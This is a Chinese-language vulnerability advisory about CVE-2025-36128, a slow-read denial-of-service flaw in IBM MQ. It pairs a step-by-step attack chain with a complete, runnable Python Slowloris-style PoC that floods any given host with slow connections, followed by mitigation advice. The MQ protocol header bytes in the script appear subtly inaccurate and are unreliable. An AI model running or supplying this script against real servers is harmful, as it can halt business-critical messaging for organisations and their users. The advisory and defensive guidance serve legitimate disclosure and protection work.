IPBUF安全漏洞报告
English
CVE-2025-36128 CVSS 7.5 高危

CVE-2025-36128:IBM MQ 慢读取超时缺陷导致拒绝服务漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-36128
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
IBM MQ

相关标签

拒绝服务DoSSlowloris慢速攻击IBM MQ消息队列中间件超时缺陷CVE-2025-36128高危漏洞

漏洞概述

CVE-2025-36128 是 IBM MQ 消息队列中间件中存在的一个高危拒绝服务(DoS)漏洞。该漏洞源于 IBM MQ 在处理网络连接时,对单个读取操作的超时机制未能得到正确执行(即未强制实施读取超时)。攻击者可以利用这一缺陷,通过类似 Slowloris 慢速攻击的方式,向 IBM MQ 服务器发起大量慢速或不完整的读取请求,使服务器资源(如连接槽、内存和线程)被长时间占用而无法释放。由于 IBM MQ 是企业级消息传递中间件,广泛应用于金融、电信、政府等关键业务系统中,一旦遭受拒绝服务攻击,将导致消息传递中断、业务流程停滞,造成严重的业务影响。该漏洞的 CVSS 3.1 评分为 7.5 分,属于高危级别。其攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对可用性影响为高(A:H),对机密性和完整性无直接影响。IBM 已确认该漏洞影响 IBM MQ 9.1、9.2、9.3、9.4 LTS 以及 9.3、9.4 CD 版本,并发布了相应的安全补丁。建议相关用户尽快评估自身系统并采取修复措施。

技术细节

IBM MQ 作为消息队列中间件,在与客户端建立 TCP 连接后,会持续监听并读取客户端发送的数据。在正常情况下,服务器应为每个读取操作设置合理的超时时间,以确保在客户端异常或恶意情况下能够及时释放连接资源。

CVE-2025-36128 的根本原因在于 IBM MQ 没有正确地对单个读取操作强制执行超时限制。攻击者可以利用这一缺陷实施 Slowloris 类型的慢速攻击:

1. 攻击者与 IBM MQ 队列管理器建立多个 TCP 连接。
2. 在每个连接中,攻击者以极慢的速度发送数据片段(例如每隔数十秒甚至数分钟发送一个字节),或者发送不完整的 MQ 协议报文头部。
3. 由于读取操作没有超时机制,IBM MQ 服务器会持续等待每个连接上的完整数据到达,导致这些连接长时间保持打开状态。
4. 随着攻击者不断建立新的慢速连接,服务器的文件描述符、内存和线程资源逐渐被耗尽。
5. 当资源耗尽时,合法客户端将无法建立新的连接到 IBM MQ 服务器,从而实现拒绝服务攻击。

这种攻击方式不需要认证,不需要用户交互,且可以远程发起,攻击门槛极低,但影响巨大。攻击者只需一台普通的计算机即可对 IBM MQ 服务器发起此类攻击。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者扫描目标网络,识别运行 IBM MQ 队列管理器的服务器,确认其监听端口(默认 1414 或 1415/SSL),并确认 MQ 版本属于受影响范围(9.1-9.4 LTS 或 9.3/9.4 CD)。
STEP 2
步骤2:建立连接
攻击者使用脚本或工具向 IBM MQ 服务器发起大量 TCP 连接请求,建立多个到队列管理器的网络连接。
STEP 3
步骤3:发送初始协议头
在每个连接上,攻击者发送 MQ TSP(传输段协议)初始头部,使连接进入已建立状态,但故意不发送完整的 MQ 协议报文。
STEP 4
步骤4:实施慢速读取攻击
攻击者以极慢的速度(如每 30 秒发送一个字节)持续发送数据片段,保持 TCP 连接活跃但使 IBM MQ 服务器的读取操作长时间挂起。
STEP 5
步骤5:资源耗尽
随着大量慢速连接累积,IBM MQ 服务器的文件描述符、内存和线程资源被逐步耗尽,无法处理新的合法连接请求。
STEP 6
步骤6:拒绝服务
合法客户端无法建立新的连接到 IBM MQ 服务器,消息生产和消费中断,业务系统陷入瘫痪状态,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-36128 - IBM MQ Slow Read DoS PoC This PoC demonstrates a Slowloris-type attack against IBM MQ by exploiting the lack of proper read timeout enforcement. """ import socket import ssl import time import threading import argparse import sys class IBMMQSlowReadDoS: def __init__(self, target_host, target_port, num_threads=50, use_ssl=False, channel=None): self.target_host = target_host self.target_port = target_port self.num_threads = num_threads self.use_ssl = use_ssl self.channel = channel or "SYSTEM.DEF.SVRCONN" self.sockets = [] self.running = True def create_socket(self): """Create a TCP connection to IBM MQ queue manager""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target_host, self.target_port)) if self.use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=self.target_host) return sock except Exception as e: print(f"[ERROR] Failed to create socket: {e}") return None def send_mq_initial_header(self, sock): """Send initial MQ TSP (Transmission Segment Protocol) header to establish connection""" # MQ TSP header: 4 bytes length + protocol ID + segment type # This is a simplified initial handshake to initiate MQ communication tsp_header = b'\x00\x00\x00\x28' # Length: 40 bytes tsp_header += b'TSP ' # Protocol identifier tsp_header += b'\x01' # Segment type: initial # MQIH (MQ Initial Header) follows mqih = b'\x00\x00\x00\x00' # StrucId mqih += b'\x01\x00\x00\x00' # Version mqih += b'\x00\x00\x00\x00' # Reserved sock.send(tsp_header + mqih) def slow_read_attack(self, thread_id): """Perform slow read attack on a single connection""" sock = self.create_socket() if not sock: return try: # Send initial MQ header to establish connection self.send_mq_initial_header(sock) print(f"[Thread {thread_id}] Connection established, starting slow read attack...") # Keep connection alive by sending minimal data at very slow rate # This exploits the missing read timeout in IBM MQ counter = 0 while self.running: try: # Send a tiny data fragment every 30 seconds # This keeps the connection from timing out on TCP level # but exploits the missing application-level read timeout sock.send(b'\x00') counter += 1 if counter % 10 == 0: print(f"[Thread {thread_id}] Connection alive, sent {counter} keep-alive bytes") time.sleep(30) except socket.error: print(f"[Thread {thread_id}] Connection lost") break except Exception as e: print(f"[Thread {thread_id}] Error: {e}") finally: try: sock.close() except: pass def launch_attack(self): """Launch the Slowloris-type DoS attack""" print(f"[*] Starting CVE-2025-36128 Slow Read DoS attack") print(f"[*] Target: {self.target_host}:{self.target_port}") print(f"[*] Threads: {self.num_threads}") print(f"[*] SSL: {self.use_ssl}") threads = [] for i in range(self.num_threads): t = threading.Thread(target=self.slow_read_attack, args=(i,)) t.daemon = True threads.append(t) t.start() time.sleep(0.1) # Stagger connection creation print(f"[*] Attack launched with {self.num_threads} slow connections") print("[*] Press Ctrl+C to stop the attack") try: while self.running: time.sleep(1) except KeyboardInterrupt: print("\n[*] Stopping attack...") self.running = False time.sleep(2) print("[*] Attack stopped") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-36128 IBM MQ Slow Read DoS PoC') parser.add_argument('--host', required=True, help='Target IBM MQ host') parser.add_argument('--port', type=int, default=1414, help='Target port (default: 1414)') parser.add_argument('--threads', type=int, default=50, help='Number of attack threads (default: 50)') parser.add_argument('--ssl', action='store_true', help='Use SSL/TLS connection') args = parser.parse_args() dos = IBMMQSlowReadDoS(args.host, args.port, args.threads, args.ssl) dos.launch_attack()

影响范围

IBM MQ 9.1 LTS
IBM MQ 9.2 LTS
IBM MQ 9.3 LTS
IBM MQ 9.4 LTS
IBM MQ 9.3 CD
IBM MQ 9.4 CD

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在防火墙或负载均衡器层面限制到 IBM MQ 端口(1414/1415)的最大并发连接数和单个源 IP 的连接频率;2)部署网络层 Slowloris 攻击检测规则,识别并阻断以极慢速率发送数据的异常连接;3)在 IBM MQ 所在服务器上调整操作系统级别的 TCP 连接超时参数(如 net.ipv4.tcp_keepalive_time),缩短空闲连接的存活时间;4)使用反向代理(如 Nginx、HAProxy)在前端终止连接,设置合理的读取和写入超时时间;5)密切监控 IBM MQ 的连接状态和资源使用情况,发现异常时及时重启队列管理器释放被占用的资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表